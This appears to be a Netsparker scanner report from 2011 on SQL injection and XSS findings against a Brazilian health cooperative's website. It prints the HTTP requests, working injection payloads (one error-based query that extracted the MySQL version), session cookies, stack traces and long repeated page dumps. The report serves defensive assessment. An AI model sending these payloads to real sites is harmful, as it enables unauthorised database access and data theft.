SQL Injection occurs when data input for example by a user is interpreted as a SQL command rather than normal data by the backend database. This is an extremely common vulnerability and its successful exploitation can have critical implications.
Crawler confirmed the vulnerability by executing a test SQL Query on the back-end database. In these tests, SQL Injection was not obvious but the different responses from the page based on the injection test allowed Netsparker to identify and confirm the SQL Injection.
Impact
Depending on the backend database, the database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:
Reading, Updating and Deleting arbitrary data from the database
Executing commands on the underlying operating system
Reading, Updating and Deleting arbitrary tables from the database
Actions to Take
See the remedy for solution.
If you are not using a database access layer (DAL), consider using one. This will help you to centralise the issue. You can also use an ORM (object relational mapping). Most of the ORM systems use only parameterised queries and this can solve the whole SQL Injection problem.
Locate all of the dynamically generated SQL queries and convert them to parameterised queries. (If you decide to use a DAL/ORM change all legacy code to use these new libraries)
Use your weblogs and application logs to see if there was any previous but undetected attack to this resource.
Remedy
The best way to protect your code against SQL Injections is using parameterised queries (prepared statements). Almost all modern languages provide built in libraries for this. Wherever possible do not create dynamic SQL queries or SQL queries with string concatenation.
Required Skills for Successful Exploitation
There are numerous freely available tools to exploit SQL Injection vulnerabilities. This is a complex area with many dependencies, however it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them.
GET /Comunicacao/detalhe.do?acao=inicial&cdComunicacao=-1+OR+17-7%3d10 HTTP/1.1 Referer: http://www.unimed.com.br/Comunicacao/busca.do Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-us) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 Cache-Control: no-cache Host: www.unimed.com.br Cookie: JSESSIONID=A34319D85478196EC8CE01EAB94ED696.dcpr5033; JSESSIONID=19B6C6E1082BF10468FAF02C8120DAEF.dcpr5033; enquete_unimed_671=671 Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK Date: Tue, 15 Nov 2011 17:14:34 GMT Server: Apache/2.2.15 (Red Hat) X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5 Connection: close Transfer-Encoding: chunked Content-Type: text/html;charset=ISO-8859-1
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html><head><meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"><meta http-equiv="Content-Language" content="pt-BR"><title>Portal Nacional de Saúde :: Unimed do Brasil</title><style type="text/css"><!--.style2 { font-family: Arial, Helvetica, sans-serif; color: #FF0000;}--></style><meta name="description" content="Modelo de site externo com barra de menu."><meta name="keywords" content="Unimed, portal, saude, Brasil"><meta name="author" content="Dynamix Software Ltda (www.dynamix.com.br)."><meta name="copyright" content="Copyright (c) 2004 Dynamix Software Ltda."><!-- barra de navegacao --><link rel="stylesheet" type="text/css" href="./colaborador.css"><link rel="stylesheet" type="text/css" href="./estilos.css"><!-- folhas de estilo --></head><body><!-- INI TOPO --><div id="topo"><!-- ini logo unimed --><h1><img src="./imagens/logo_unimed.gif" alt="Unimed." title="Unimed."></h1><!-- fim logo unimed --><!-- ini fechar --><div><a href="javascript:window.close()" title="Fechar este site externo.">Fechar</a></div><!-- fim fechar --></div><!-- FIM TOPO --><!-- INI CONTEUDO --><div id="conteudo"><table class="estrutura" border="0" cellpadding="0" cellspacing="0"><tbody><tr><td valign="top"><!-- ini barra de menu --><div class="menu"><!-- ini nome da unimed --><div class="nomeUnimed"><!-- Joaçaba --></div><!-- fim nome da unimed --><!-- ini menu --><ul><li class="titulo"><a href="#" class="titulo"><img class="seta" src="./imagens/seta_branca_abaixo.gif" alt="Voltar" border="0"><span></span></a>Veículos de Comunicação</li><li class="item"><a href="/Comunicacao/busca.do?acaoLink=pesquisaDetalhe">Consultar Veículos de Comunicação</a> </a></li></ul><!-- fim menu --><br><br><br><br><br><br><br></div><!-- fim barra de menu --></td><td><!-- ini cabecalho --><div class="cabecalho"><h2>Veículos de Comunicação do Sistema Unimed </h2></div><!-- fim cabecalho --><!-- ini corpo --><div class="corpo"><!-- ini navegacao persistente -->Veículos de Comunicação<!-- fim navegacao persistente --><!-- ini nome secao --><h5>Detalhe de Veículos </h5><!-- fim nome secao --><!-- ini conteudo da pagina --><div><form name="buscaForm" method="post" action="/Comunicacao/busca.do"><input type="hidden" name="acao" value="3"> <table width="100%" border="0" > <tr> <td width="48%"> <div align="center"> <img src="/Comunicacao/img.do?cdComunicacao=" height="240" width="220" id="teste"> </div> </td> <td width="52%"><table width="100%" border="0" cellpadding=5"> <tr> <td>Unimed: <b></b></td> </tr> <tr> <td>Formato: <b></b></td> </tr> <tr> <td>Público Alvo: <b> Médico Cooperado; Secretária do Médico; Funcionários; Dirigentes; Comunidade; Prestadores Serviços; Clientes; Dirigentes e colaboradores das coopetiva; Dirigentes e colaboradores das coopetiva; Cooperados, usuários do site clientes e; Clientes; Secretárias de Médicos Cooperados; Clientes; Secretárias de Médicos Cooperados; Secretárias; Dirigentes das 21 Unimeds do estado e da; Unimeds associadas; Unimeds associadas; Unimeds associadas; Médico Cooperado, Clientes e Singulares; Empresas clientes; Assessores do Sistema; Profissionais do Grupo de Desenvolviment; Grupo Desenv. Humano, Dirigentes e técn; Dirigentes, técnicos, entre outros; Mantenedores da Fundação Unimed; Alunos, Professores, Consultores e Coope; Alunos, Professores, Consultores, etc; Acionistas; Conselho Fiscal e Administrativo; beneficiários do Programa de RS; líderes cooperativistas e médicas; Secretárias e auxiliares de escritório; Unimed sócias da CNU; Unimeds associadas; Unimeds associadas; Unimeds associadas; Clientes Empresariais; Secretárias dos Cooperados; Profissional de Comunicação; Unimeds; Médicos cooperados e empresas selecionad; Dirigentes e Unimeds ; Dirigentes do Sistema Unimed em Goiás e ; Todos os públicos; Sistema Unimed; Dirigentes, Sistema Unimed, gerentes e p; Todo o Sistema Unimed Santa Catarina; Cooperados, Unimeds, Contratantes e Bene; Cooperados, Funcionários, Singulares, em; Médicos Cooperados e Sistema Unimed; Externo; Médicos cooperados, colaboradores, clien; Médicos Cooperados, Clientes PJ, Bancos ; Interno e Externo ; Dirigentes do Sistema Unimed, entidades ; Credenciados; Secretárias dos médicos cooperados; Piracicaba e regiçao; Piracicaba e regiçao; Piracicaba e regiçao; Piracicaba e região; Credenciados; Secretárias dos médicos cooperados; Profissionais de Comunicação e Marketing; Profissionais de Comunicação e Marketing; Profissionais de Comunicação e Marketing; Profissionais de Comunicação e Marketing; Profissionais de Comunicação e Marketing; Profissionais de Comunicação e Marketing; Profissionais de Comunicação e Marketing; Profissionais de Comunicação e Marketing; Profissionais de Comunicação e Marketing; Profissionais de Comunicação e Marketing; Vendedores do Plano de Saúde Unimed; Vendedores do Plano de Saúde Unimed; Profissionais de Comunicação e Marketing; Profissionais de Comunicação e Marketing; Dirigentes, superintendentes e gestores ; Médicos Cooperados, Funcionários, Fornec; Médicos Cooperados, Funcionários, Fornec; Unimeds; Unimeds; Unimeds; Médicos cooperados, profissionais de ate; Cooperados, colaboradores, clientes e pa; Cooperados e Unimeds; Cooperados e Unimeds; Sistema Unimed e Cooperados; Cooperados, singulares do Estado do RJ e; Clientes, cooperados, colaboradores; Médicos Cooperados, funcionários, clínic; Clientes, médicos cooperados, prestadore; Médicos Cooperados, Clientes PJ, Bancos ; Médicos Cooperados, Clientes PJ, Bancos ; Médicos Cooperados, Clientes PJ, Bancos ; Unimeds associadas; Médico Cooperado; Secretária do Médico; Funcionários; Dirigentes; Comunidade; Prestadores Serviços; Clientes; Dirigentes e colaboradores das coopetiva; Dirigentes e colaboradores das coopetiva; Cooperados, usuários do site clientes e; Clientes; Secretárias de Médicos Cooperados; Clientes; Secretárias de Médicos Cooperados; Secretárias; Dirigentes das 21 Unimeds do estado e da; Unimeds associadas; Unimeds associadas; Unimeds associadas; Médico Cooperado, Clientes e Singulares; Empresas clientes; Assessores do Sistema; Profissionais do Grupo de Desenvolviment; Grupo Desenv. Humano, Dirigentes e técn; Dirigentes, técnicos, entre outros; Mantenedores da Fundação Unimed; Alunos, Professores, Consultores e Coope; Alunos, Professores, Consultores, etc; Acionistas; Conselho Fiscal e Administrativo; beneficiários do Programa de RS; líderes cooperativistas e médicas; Secretárias e auxiliares de escritório; Unimed sócias da CNU; Unimeds associadas; Unimeds associadas; Unimeds associadas; Clientes Empresariais; Secretárias dos Cooperados; Profissional de Comunicação; Unimeds; Médicos cooperados e empresas selecionad; Dirigentes e Unimeds ; Dirigentes do Sistema Unimed em Goiás e ; Todos os públicos; Sistema Unimed; Dirigentes, Sistema Unimed, gerentes e p; Todo o Sistema Unimed Santa Catarina; Cooperados, Unimeds, Contratantes e Bene; Cooperados, Funcionários, Singulares, em; Médicos Cooperados e Sistema Unimed; Externo; Médicos cooperados, colaboradores, clien; Médicos Cooperados, Clientes PJ, Bancos ; Interno e Externo ; Dirigentes do Sistema Unimed, entidades ; Credenciados; Secretárias dos médicos cooperados; Piracicaba e regiçao; Piracicaba e regiçao; Piracicaba e regiçao; Piracicaba e região; Credenciados; Secretárias dos médicos cooperados; Profissionais de Comunicação e Marketing; Profissionais de Comunicação e Marketing; Profissionais de Comunicação e Marketing; Profissionais de Comunicação e Marketing; Profissionais de Comunicação e Marketing; Profissionais de Comunicação e Marketing; Profissionais de Comunicação e Marketing; Profissionais de Comunicação e Marketing; Profissionais de Comunicação e Marketing; Profissionais de Comunicação e Marketing; Vendedores do Plano de Saúde Unimed; Vendedores do Plano de Saúde Unimed; Profissionais de Comunicação e Marketing; Profissionais de Comunicação e Marketing; Dirigentes, superintendentes e gestores ; Médicos Cooperados, Funcionários, Fornec; Médicos Cooperados, Funcionários, Fornec; Unimeds; Unimeds; Unimeds; Médicos cooperados, profissionais de ate; Cooperados, colaboradores, clientes e pa; Cooperados e Unimeds; Cooperados e Unimeds; Sistema Unimed e Cooperados; Cooperados, singulares do Estado do RJ e; Clientes, cooperados, colaboradores; Médicos Cooperados, funcionários, clínic; Clientes, médicos cooperados, prestadore; Médicos Cooperados, Clientes PJ, Bancos ; Médicos Cooperados, Clientes PJ, Bancos ; Médicos Cooperados, Clientes PJ, Bancos ; Unimeds associadas; Médico Cooperado; Secretária do Médico; Funcionários; Dirigentes; Comunidade; Prestadores Serviços; Clientes; Dirigentes e colaboradores das coopetiva; Dirigentes e colaboradores das coopetiva; Cooperados, usuários do site clientes e; Clientes; Secretárias de Médicos Cooperados; Clientes; Secretárias de Médicos Cooperados; Secretárias; Dirigentes das 21 Unimeds do estado e da; Unimeds associadas; Unimeds associadas; Unimeds associadas; Médico Cooperado, Clientes e Singulares; Empresas clientes; Assessores do Sistema; Profissionais do Grupo de Desenvolviment; Grupo Desenv. Humano, Dirigentes e técn; Dirigentes, técnicos, entre outros; Mantenedores da Fundação Unimed; Alunos, Professores, Consultores e Coope; Alunos, Professores, Consultores, etc; Acionistas; Conselho Fiscal e Administrativo; beneficiários do Programa de RS; líderes cooperativistas e médicas; Secretárias e auxiliares de escritório; Unimed sócias da CNU; Unimeds associadas; Unimeds associadas; Unimeds associadas; Clientes Empresariais; Secretárias dos Cooperados; Profissional de Comunicação; Unimeds; Médicos cooperados e empresas selecionad; Dirigentes e Unimeds ; Dirigentes do Sistema Unimed em Goiás e ; Todos os públicos; Sistema Unimed; Dirigentes, Sistema Unimed, gerentes e p; Todo o Sistema Unimed Santa Catarina; Cooperados, Unimeds, Contratantes e Bene; Cooperados, Funcionários, Singulares, em; Médicos Cooperados e Sistema Unimed; Externo; Médicos cooperados, colaboradores, clien; Médicos Cooperados, Clientes PJ, Bancos ; Interno e Externo ; Dirigentes do Sistema Unimed, entidades ; Credenciados; Secretárias dos médicos cooperados; Piracicaba e regiçao; Piracicaba e regiçao; Piracicaba e regiçao; Piracicaba e região; Credenciados; Secretárias dos médicos cooperados; Profissionais de Comunicação e Marketing; Profissionais de Comunicação e Marketing; Profissionais de Comunicação e Marketing; Profissionais de Comunicação e Marketing; Profissionais de Comunicação e Marketing; Profissionais de Comunicação e Marketing; Profissionais de Comunicação e Marketing; Profissionais de Comunicação e Marketing; Profissionais de Comunicação e Marketing; Profissionais de Comunicação e Marketing; Vendedores do Plano de Saúde Unimed; Vendedores do Plano de Saúde Unimed; Profissionais de Comunicação e Marketing; Profissionais de Comunicação e Marketing; Dirigentes, superintendentes e gestores ; Médicos Cooperados, Funcionários, Fornec; Médicos Cooperados, Funcionários, Fornec; Unimeds; Unimeds; Unimeds; Médicos cooperados, profissionais de ate; Cooperados, colaboradores, clientes e pa; Cooperados e Unimeds; Cooperados e Unimeds; Sistema Unimed e Cooperados; Cooperados, singulares do Estado do RJ e; Clientes, cooperados, colaboradores; Médicos Cooperados, funcionários, clínic; Clientes, médicos cooperados, prestadore; Médicos Cooperados, Clientes PJ, Bancos ; Médicos Cooperados, Clientes PJ, Bancos ; Médicos Cooperados, Clientes PJ, Bancos ; Unimeds associadas; Médico Cooperado; Secretária do Médico; Funcionários; Dirigentes; Comunidade; Prestadores Serviços; Clientes; Dirigentes e colaboradores das coopetiva; Dirigentes e colaboradores das coopetiva; Cooperados, usuários do site clientes e; Clientes; Secretárias de Médicos Cooperados; Clientes; Secretárias de Médicos Cooperados; Secretárias; Dirigentes das 21 Unimeds do estado e da; Unimeds associadas; Unimeds associadas; Unimeds associadas; Médico Cooperado, Clientes e Singulares; Empresas clientes; Assessores do Sistema; Profissionais do Grupo de Desenvolviment; Grupo Desenv. Humano, Dirigentes e técn; Dirigentes, técnicos, entre outros; Mantenedores da Fundação Unimed; Alunos, Professores, Consultores e Coope; Alunos, Professores, Consultores, etc; Acionistas; Conselho Fiscal e Administrativo; beneficiários do Programa de RS; líderes cooperativistas e médicas; Secretárias e auxiliares de escritório; Unimed sócias da CNU; Unimeds associadas; Unimeds associadas; Unimeds associadas; Clientes Empresariais; Secretárias dos Cooperados; Profissional de Comunicação; Unimeds; Médicos cooperados e empresas selecionad; Dirigentes e Unimeds ; Dirigentes do Sistema Unimed em Goiás e ; Todos os públicos; Sistema Unimed; Dirigentes, Sistema Unimed, gerentes e p; Todo o Sistema Unimed Santa Catarina; Cooperados, Unimeds, Contratantes e Bene; Cooperados, Funcionários, Singulares, em; Médicos Cooperados e Sistema Unimed; Externo; Médicos cooperados, colaboradores, clien; Médicos Cooperados, Clientes PJ, Bancos ; Interno e Externo ; Dirigentes do Sistema Unimed, entidades ; Credenciados; Secretárias dos médicos cooperados; Piracicaba e regiçao; Piracicaba e regiçao; Piracicaba e regiçao; Piracicaba e região; Credenciados; Secretárias dos médicos cooperados; Profissionais de Comunicação e Marketing; Profissionais de Comunicação e Marketing; Profissionais de Comunicação e Marketing; Profissionais de Comunicação e Marketing; Profissionais de Comunicação e Marketing; Profissionais de Comunicação e Marketing; Profissionais de Comunicação e Marketing; Profissionais de Comunicação e Marketing; Profissionais de Comunicação e Marketing; Profissionais de Comunicação e Marketing; Vendedores do Plano de Saúde Unimed; Vendedores do Plano de Saúde Unimed; Profissionais de Comunicação e Marketing; Profissionais de Comunicação e Marketing; Dirigentes, superintendentes e gestores ; Médicos Cooperados, Funcionários, Fornec; Médicos Cooperados, Funcionários, Fornec; Unimeds; Unimeds; Unimeds; Médicos cooperados, profissionais de ate; Cooperados, colaboradores, clientes e pa; Cooperados e Unimeds; Cooperados e Unimeds; Sistema Unimed e Cooperados; Cooperados, singulares do Estado do RJ e; Clientes, cooperados, colaboradores; Médicos Cooperados, funcionários, clínic; Clientes, médicos cooperados, prestadore; Médicos Cooperados, Clientes PJ, Bancos ; Médicos Cooperados, Clientes PJ, Bancos ; Médicos Cooperados, Clientes PJ, Bancos ; Unimeds associadas; Médico Cooperado; Secretária do Médico; Funcionários; Dirigentes; Comunidade; Prestadores Serviços; Clientes; Dirigentes e colaboradores das coopetiva; Dirigentes e colaboradores das coopetiva; Cooperados, usuários do site clientes e; Clientes; Secretárias de Médicos Cooperados; Clientes; Secretárias de Médicos Cooperados; Secretárias; Dirigentes das 21 Unimeds do estado e da; Unimeds associadas; Unimeds associadas; Unimeds associadas; Médico Cooperado, Clientes e Singulares; Empresas clientes; Assessores do Sistema; Profissionais do Grupo de Desenvolviment; Grupo Desenv. Humano, Dirigentes e técn; Dirigentes, técnicos, entre outros; Mantenedores da Fundação Unimed; Alunos, Professores,..
SQL Injection occurs when data input for example by a user is interpreted as a SQL command rather than normal data by the backend database. This is an extremely common vulnerability and its successful exploitation can have critical implications. Crawler confirmed the vulnerability by executing a test SQL Query on the back-end database.
Impact
Depending on the backend database, the database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:
Reading, Updating and Deleting arbitrary data from the database
Executing commands on the underlying operating system
Reading, Updating and Deleting arbitrary tables from the database
Actions to Take
See the remedy for solution.
If you are not using a database access layer (DAL), consider using one. This will help you to centralise the issue. You can also use an ORM (object relational mapping). Most of the ORM systems use only parameterised queries and this can solve the whole SQL Injection problem.
Locate all of the dynamically generated SQL queries and convert them to parameterised queries (If you decide to use a DAL/ORM, change all legacy code to use these new libraries)
Use your weblogs and application logs to see if there was any previous but undetected attack to this resource.
Remedy
A robust method for mitigating the threat of SQL Injection based vulnerabilities is to use parameterized queries (prepared statements). Almost all modern languages provide built in libraries for this. Wherever possible do not create dynamic SQL queries or SQL queries with string concatenation.
Required Skills for Successful Exploitation
There are numerous freely available tools to exploit SQL Injection vulnerabilities. This is a complex area with many dependencies, however it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them. SQL Injection is one of the most common web application vulnerabilities.
(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
Extracted Data
5.0.77-log
Request
GET /Comunicacao/detalhe.do?acao=inicial&cdComunicacao=(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2CCHAR(52)%2CCHAR(100)%2CCHAR(105)%2CCHAR(108)%2CCHAR(101)%2CCHAR(109)%2CCHAR(109)%2CCHAR(97))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1)) HTTP/1.1 Referer: http://www.unimed.com.br/Comunicacao/busca.do Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-us) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 Cache-Control: no-cache Host: www.unimed.com.br Cookie: JSESSIONID=5DD9C8CFD3D902CD91DF57B601077A4E.dcpr5033; JSESSIONID=19B6C6E1082BF10468FAF02C8120DAEF.dcpr5033; enquete_unimed_671=671 Accept-Encoding: gzip, deflate
Response
HTTP/1.1 500 Internal Server Error Date: Tue, 15 Nov 2011 17:14:15 GMT Server: Apache/2.2.15 (Red Hat) Content-Length: 3405 Connection: close Content-Type: text/html;charset=utf-8
<html><head><title>Apache Tomcat/5.5.9 - Error report</title><style><!--H1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} H2 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;} H3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} BODY {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;} B {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;} P {font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:12px;}A {color : black;}A.name {color : black;}HR {color : #525D76;}--></style> </head><body><h1>HTTP Status 500 - </h1><HR size="1" noshade="noshade"><p><b>type</b> Exception report</p><p><b>message</b> <u></u></p><p><b>description</b> <u>The server encountered an internal error () that prevented it from fulfilling this request.</u></p><p><b>exception</b> <pre>javax.servlet.ServletException: Duplicate key or integrity constraint violation message from server: "Duplicate entry '_!@4dilemma:0' for key 1" org.apache.struts.action.RequestProcessor.processException(RequestProcessor.java:516) org.apache.struts.action.RequestProcessor.processActionPerform(RequestProcessor.java:423) org.apache.struts.action.RequestProcessor.process(RequestProcessor.java:226) org.apache.struts.action.ActionServlet.process(ActionServlet.java:1164) org.apache.struts.action.ActionServlet.doGet(ActionServlet.java:397) javax.servlet.http.HttpServlet.service(HttpServlet.java:697) javax.servlet.http.HttpServlet.service(HttpServlet.java:810) org.jboss.web.tomcat.filters.ReplyHeaderFilter.doFilter(ReplyHeaderFilter.java:81)</pre></p><p><b>root cause</b> <pre>java.sql.SQLException: Duplicate key or integrity constraint violation message from server: "Duplicate entry '_!@4dilemma:0' for key 1" com.mysql.jdbc.MysqlIO.checkErrorPacket(MysqlIO.java:1997) com.mysql.jdbc.MysqlIO.checkErrorPacket(MysqlIO.java:1906) com.mysql.jdbc.MysqlIO.nextRow(MysqlIO.java:997) com.mysql.jdbc.MysqlIO.getResultSet(MysqlIO.java:296) com.mysql.jdbc.MysqlIO.sqlQueryDirect(MysqlIO.java:1325) com.mysql.jdbc.MysqlIO.sqlQuery(MysqlIO.java:1224) com.mysql.jdbc.Connection.execSQL(Connection.java:2244) com.mysql.jdbc.Connection.execSQL(Connection.java:2192) com.mysql.jdbc.Statement.executeQuery(Statement.java:1163) org.jboss.resource.adapter.jdbc.WrappedStatement.executeQuery(WrappedStatement.java:208) br.com.unimed.portal.veiculocomunicacao.dao.ComunicacaoDAO.populaComunicacao(ComunicacaoDAO.java:459) br.com.unimed.portal.veiculocomunicacao.action.DetalheAction.execute(DetalheAction.java:28) org.apache.struts.action.RequestProcessor.processActionPerform(RequestProcessor.java:421) org.apache.struts.action.RequestProcessor.process(RequestProcessor.java:226) org.apache.struts.action.ActionServlet.process(ActionServlet.java:1164) org.apache.struts.action.ActionServlet.doGet(ActionServlet.java:397) javax.servlet.http.HttpServlet.service(HttpServlet.java:697) javax.servlet.http.HttpServlet.service(HttpServlet.java:810) org.jboss.web.tomcat.filters.ReplyHeaderFilter.doFilter(ReplyHeaderFilter.java:81)</pre></p><p><b>note</b> <u>The full stack trace of the root cause is available in the Apache Tomcat/5.5.9 logs.</u></p><HR size="1" noshade="noshade"><h3>Apache Tomcat/5.5.9</h3></body></html>
SQL Injection occurs when data input for example by a user is interpreted as a SQL command rather than normal data by the backend database. This is an extremely common vulnerability and its successful exploitation can have critical implications. Even though Netsparker believes that there is a SQL Injection in here it could not confirm it. There can be numerous reasons for Netsparker not being able to confirm this. We strongly recommend investigating the issue manually to ensure that it is an SQL Injection and that it needs to be addressed. You can also consider sending the details of this issue to us, in order that we can address this issue for the next time and give you a more precise result.
Impact
Depending on the backend database, database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:
Reading, Updating and Deleting arbitrary data from the database
Executing commands on the underlying operating system
Reading, Updating and Deleting arbitrary tables from the database
Actions to Take
See the remedy for solution.
If you are not using a database access layer (DAL) within the architecture consider its benefits and implement if appropriate. As a minimum the use of s DAL will help centralize the issue and its resolution. You can also use an ORM (object relational mapping). Most ORM systems use parameterized queries and this can solve many if not all SQL Injection based problems.
Locate all of the dynamically generated SQL queries and convert them to parameterised queries. (If you decide to use a DAL/ORM, change all legacy code to use these new libraries)
Monitor and review weblogs and application logs in order to uncover active or previous exploitation attempts.
Remedy
A very robust method for mitigating the threat of SQL Injection based vulnerabilities is to use parameterized queries (prepared statements). Almost all modern languages provide built in libraries for this. Wherever possible do not create dynamic SQL queries or SQL queries with string concatenation.
Required Skills for Successful Exploitation
There are numerous freely available tools to test for SQL Injection vulnerabilities. This is a complex area with many dependencies, however it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them. SQL Injection is one of the most common web application vulnerabilities.
GET /Comunicacao/detalhe.do?acao=inicial&cdComunicacao=%2527 HTTP/1.1 Referer: http://www.unimed.com.br/Comunicacao/busca.do Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-us) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 Cache-Control: no-cache Host: www.unimed.com.br Cookie: JSESSIONID=5DD9C8CFD3D902CD91DF57B601077A4E.dcpr5033; JSESSIONID=19B6C6E1082BF10468FAF02C8120DAEF.dcpr5033; enquete_unimed_671=671 Accept-Encoding: gzip, deflate
Response
HTTP/1.1 500 Internal Server Error Date: Tue, 15 Nov 2011 17:14:10 GMT Server: Apache/2.2.15 (Red Hat) Content-Length: 3481 Connection: close Content-Type: text/html;charset=utf-8
<html><head><title>Apache Tomcat/5.5.9 - Error report</title><style><!--H1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} H2 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;} H3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} BODY {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;} B {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;} P {font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:12px;}A {color : black;}A.name {color : black;}HR {color : #525D76;}--></style> </head><body><h1>HTTP Status 500 - </h1><HR size="1" noshade="noshade"><p><b>type</b> Exception report</p><p><b>message</b> <u></u></p><p><b>description</b> <u>The server encountered an internal error () that prevented it from fulfilling this request.</u></p><p><b>exception</b> <pre>javax.servlet.ServletException: Syntax error or access violation message from server: "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%27' at line 1" org.apache.struts.action.RequestProcessor.processException(RequestProcessor.java:516) org.apache.struts.action.RequestProcessor.processActionPerform(RequestProcessor.java:423) org.apache.struts.action.RequestProcessor.process(RequestProcessor.java:226) org.apache.struts.action.ActionServlet.process(ActionServlet.java:1164) org.apache.struts.action.ActionServlet.doGet(ActionServlet.java:397) javax.servlet.http.HttpServlet.service(HttpServlet.java:697) javax.servlet.http.HttpServlet.service(HttpServlet.java:810) org.jboss.web.tomcat.filters.ReplyHeaderFilter.doFilter(ReplyHeaderFilter.java:81)</pre></p><p><b>root cause</b> <pre>java.sql.SQLException: Syntax error or access violation message from server: "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%27' at line 1" com.mysql.jdbc.MysqlIO.checkErrorPacket(MysqlIO.java:1997) com.mysql.jdbc.MysqlIO.sendCommand(MysqlIO.java:1167) com.mysql.jdbc.MysqlIO.sqlQueryDirect(MysqlIO.java:1278) com.mysql.jdbc.MysqlIO.sqlQuery(MysqlIO.java:1224) com.mysql.jdbc.Connection.execSQL(Connection.java:2244) com.mysql.jdbc.Connection.execSQL(Connection.java:2192) com.mysql.jdbc.Statement.executeQuery(Statement.java:1163) org.jboss.resource.adapter.jdbc.WrappedStatement.executeQuery(WrappedStatement.java:208) br.com.unimed.portal.veiculocomunicacao.dao.ComunicacaoDAO.populaComunicacao(ComunicacaoDAO.java:459) br.com.unimed.portal.veiculocomunicacao.action.DetalheAction.execute(DetalheAction.java:28) org.apache.struts.action.RequestProcessor.processActionPerform(RequestProcessor.java:421) org.apache.struts.action.RequestProcessor.process(RequestProcessor.java:226) org.apache.struts.action.ActionServlet.process(ActionServlet.java:1164) org.apache.struts.action.ActionServlet.doGet(ActionServlet.java:397) javax.servlet.http.HttpServlet.service(HttpServlet.java:697) javax.servlet.http.HttpServlet.service(HttpServlet.java:810) org.jboss.web.tomcat.filters.ReplyHeaderFilter.doFilter(ReplyHeaderFilter.java:81)</pre></p><p><b>note</b> <u>The full stack trace of the root cause is available in the Apache Tomcat/5.5.9 logs.</u></p><HR size="1" noshade="noshade"><h3>Apache Tomcat/5.5.9</h3></body></html>
XSS (Cross-site Scripting) allows an attacker to execute a dynamic script (Javascript, VbScript) in the context of the application. This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by a user has been interpreted as HTML/Javascript/VbScript by the browser.
XSS targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' session, an attacker might attack an administrator to gain full control over the application.
Impact
There are many different attacks that can be leveraged through the use of XSS, including:
Hi-jacking users' active session
Changing the look of the page within the victims browser.
Mounting a successful phishing attack.
Intercept data and perform man-in-the-middle attacks.
Remedy
The issue occurs because the browser interprets the input as active HTML, Javascript or VbScript. To avoid this, all input and output from the application should be filtered. Output should be filtered according to the output format and location. Typically the output location is HTML. Where the output is HTML ensure that all active content is removed prior to its presentation to the server.
Prior to sanitizing user input, ensure you have a pre-defined list of both expected and acceptable characters with which you populate a white-list. This list needs only be defined once and should be used to sanitize and validate all subsequent input.
There are a number of pre-defined, well structured white-list libraries available for many different environments, good examples of these include, OWASP Reform and Microsoft Anti Cross-site Scripting libraries are good examples.
